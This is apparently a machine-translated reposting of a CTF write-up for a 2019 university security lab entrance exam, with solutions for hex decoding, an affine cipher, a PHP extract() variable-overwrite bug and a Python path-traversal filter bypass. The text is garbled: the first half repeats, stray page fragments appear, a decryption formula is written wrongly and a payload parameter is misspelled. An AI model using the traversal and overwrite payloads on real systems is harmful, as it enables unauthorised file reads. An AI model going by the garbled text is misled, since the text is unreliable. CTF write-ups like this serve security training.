2019西電網安実験班選抜試験
8016 ワード
1.FirstBlood
url/indexにアクセスします.php/user/updatevoice?voice=FirstBlood
2.16進数文字列
テーマを開き、ヒント:
これは16進数の文字列で、解いてからflagがどこにあるか知っています666 c 61675 f 69735 f 686572657 b 326534623103234613763386 33534323396336376130646333663432302 e 7068707 d
上の数字を直接hex変換器に投げ込んで文字に変換します
3.アフィニティパスワード
密文:yfsfnhtzlsrftclhwrffonw
このシミュレーションではa=15,b=23
得られた明文を提出します.
シミュレーションパスワード規則は、c=(m*a+b)%26
明文を得るには、m=(c-b*a^(-1))%26
アルゴリズム:
キーを呼び出して明文を出す
4.変数オーバーライド
payload:url?attempy=&filename=flag.php
5.web.py
exp:
転載先:https://www.cnblogs.com/sylover/p/11299295.html
class="reveal-modal" style="display: none;">
のメッセージ
:
:FirstBl00d
: 300
FLAG: 3
class="close-reveal-modal">×
url/indexにアクセスします.php/user/updatevoice?voice=FirstBlood
2.16進数文字列
テーマを開き、ヒント:
これは16進数の文字列で、解いてからflagがどこにあるか知っています666 c 61675 f 69735 f 686572657 b 326534623103234613763386 33534323396336376130646333663432302 e 7068707 d
上の数字を直接hex変換器に投げ込んで文字に変換します
3.アフィニティパスワード
密文:yfsfnhtzlsrftclhwrffonw
このシミュレーションではa=15,b=23
得られた明文を提出します.
シミュレーションパスワード規則は、c=(m*a+b)%26
明文を得るには、m=(c-b*a^(-1))%26
アルゴリズム:
#coding=utf-8
#
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
#
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
#
def eular(n):
count = 0
for x in xrange(0,n):
g,x,y = egcd(x,n)
if g == 1:
count = count + 1
return count
#
def Affine_cipher(ciphertext,a,b):
plantext = ''
#
fa = modinv(a,26) for x in ciphertext:
if x == ' ':
plantext += ' '
continue plantext += chr(ord('a')+((ord(x)-b)-ord('a'))*fa%26)
return plantext
キーを呼び出して明文を出す
4.変数オーバーライド
php
$filename = 'x';
extract($_GET);
if(!empty($attempt))
{
$conbination = trim(file_get_contents($filename));
if ($attempt === $conbination)
{
echo "neirong" . "$conbination!?
";
require("flag.php");
echo "congratulation,key is:" . "$flag
";
} else
{
echo "
Incorrenr!
";
}
}
?>
payload:url?attempy=&filename=flag.php
5.web.py
def GET(self,filepath):
if filepath.find("flag")>-1:
return "Hacker"
filepath = filepath.replace("../","")
try:
with open("./uploads/%s" % filepath,"rb") as f:
content = f.read()
return content
except:
return web.notfound("Sorry,the file you were looking for was not found.")
exp:
from requests import get
def get_flag():
url = ""
payload = url + ".../...//.../...//fla../g.txt"
flag = get(payload).content
return flag
if __name__ == "__main__":
flag = get_flag()
print "[x] flag :" +flag
転載先:https://www.cnblogs.com/sylover/p/11299295.html